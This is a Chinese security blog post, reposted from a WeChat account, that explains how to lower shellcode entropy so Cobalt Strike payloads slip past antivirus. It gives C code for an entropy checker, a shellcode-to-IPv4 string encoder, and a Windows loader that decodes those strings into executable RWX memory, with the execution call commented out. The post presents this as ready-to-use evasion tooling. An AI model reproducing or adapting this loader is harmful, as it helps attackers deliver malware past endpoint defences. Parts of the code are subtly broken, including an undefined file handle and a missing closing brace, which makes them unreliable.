熵-shellcode to xxx

admin 2024年3月5日11:51:31评论14 views字数 2882阅读9分36秒阅读模式

0x01 前言

熵值是用来衡量数据的随机性和不确定性的指标,高熵值表示数据更复杂和随机。
对于Cobalt Strike生成的shellcode,早已被特征容易被AV检测,所以通常会采用加密、混淆等方式来躲避检测。
在构建shellcode时,高熵值的加密方法(例如AES加密)可能会导致被杀毒软件检测到,因为它们增加了shellcode的不可预测性,但也提高了可疑性。
因此,一个常见的策略是在熵值较低的编码方式和加密之间取得平衡。例如,使用轻量级的XOR异或编码对shellcode进行轻微处理,增加熵值的幅度较小,同时降低了检测风险,但是xor对于df会被直接干掉,可以尝试对key在加密一层。
参考:下图原shellcode熵值为6.501075,xor后的为6.501075,aes后的为7.897495。

熵-shellcode to xxx

另一个策略是使用合法值(如IPv4/IPv6地址、MAC地址)对shellcode进行编码,这可以生成较低的熵值,同时减少检测的风险。类似地,使用UUID编码或英文单词编码等方法也可以达到相似的效果,找到一个合适的熵值水平,既保持可用性又不引起高熵值的怀疑。
感兴趣的可以使用下方提供的代码进行测试研究,也可以使用好兄弟写的工具:https://github.com/Haunted-Banshee/Shellcode-Hastur/
最近会更新添加loader模板,点点star兄弟们。
接下来提供一种shellcode to ipv4字符串代码以及ipv4 to shellcode加载器代码,关于其他的方式也都有公开代码可以自行查阅。

0x02 代码

2.1 熵值Check

#include <stdio.h>#include <stdlib.h>#include <math.h>double calculate_entropy(const char *file_path) {  FILE *file = fopen(file_path, "rb");  if (!file) {    perror("Error opening file");    exit(EXIT_FAILURE);  }  // 初始化字节计数数组  int byte_count[256] = { 0 };  int total_bytes = 0;  int byte;  // 读取文件并统计每个字节的出现次数  while ((byte = fgetc(file)) != EOF) {    byte_count[byte]++;    total_bytes++;  }  // 计算熵值  double entropy = 0.0;  for (int i = 0; i < 256; i++) {    if (byte_count[i] > 0) {      double probability = (double)byte_count[i] / total_bytes;      entropy -= probability * log2(probability);    }  }  fclose(file);  return entropy;}int main(int argc, char *argv[]) {  if (argc != 2) {    fprintf(stderr, "Usage: %s <file_path>n", argv[0]);    return EXIT_FAILURE;  }  const char *file_path = argv[1];  double entropy = calculate_entropy(file_path);  printf("Entropy of %s: %lf bitsn", file_path, entropy);  return EXIT_SUCCESS;}

2.2 Shellcode to IPv4

熵-shellcode to xxx

#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>int main(int argc, char *argv[]) {  FILE *fp = fopen(argv[1], "rb");  if (fp == NULL) {    perror("Error opening file");    return 1;  }  printf("const char* IPv4s[] =n");  printf("    {n");  uint32_t chunk;  while (fread(&chunk, sizeof(uint32_t), 1, fp) == 1) {    printf("        "%d.%d.%d.%d",n", (chunk & 0xFF), ((chunk >> 8) & 0xFF), ((chunk >> 16) & 0xFF), ((chunk >> 24) & 0xFF));  }  printf("    };n");  fclose(f);  return 0;

2.3 IPv4 to Shellcode加载器

c++

#include <Windows.h>#include <stdio.h>#include <Ip2string.h>#pragma comment(lib, "Ntdll.lib")#ifndef NT_SUCCESS#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#endif// 声明 DecodeIPv4Fuscation 函数void DecodeIPv4Fuscation(const char* IPV4[], PVOID LpBaseAddress, int count);int main() {  const char* IPv4s[] = {    //这里放置shellcode to ipv4后的数据    "252.232.137.0",    "0.0.96.137",    "229.49.210.100",  };  void* exec = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  int init = sizeof(IPv4s) / sizeof(IPv4s[0]);  DecodeIPv4Fuscation(IPv4s, exec, init);//  for (int i = 0; i < init * 4; i++) {//  printf("%02X", ((unsigned char*)exec)[i]);//}//  ((void(*)())exec)();  VirtualFree(exec, 0, MEM_RELEASE);  return 0;}void DecodeIPv4Fuscation(const char* ipv4Addresses[], PVOID baseAddress, int count) {  PCSTR terminator = NULL;  DWORD_PTR pointer = (DWORD_PTR)baseAddress;  NTSTATUS status;  for (int i = 0; i < count; i++) {    status = RtlIpv4StringToAddressA((PCSTR)ipv4Addresses[i], FALSE, &terminator, (in_addr*)pointer);    if (!NT_SUCCESS(status)) {      return;    }    pointer += 4;  }}

原文始发于微信公众号(小黑说安全):熵-shellcode to xxx

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日11:51:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   熵-shellcode to xxxhttps://cn-sec.com/archives/2093334.html

发表评论

匿名网友 填写信息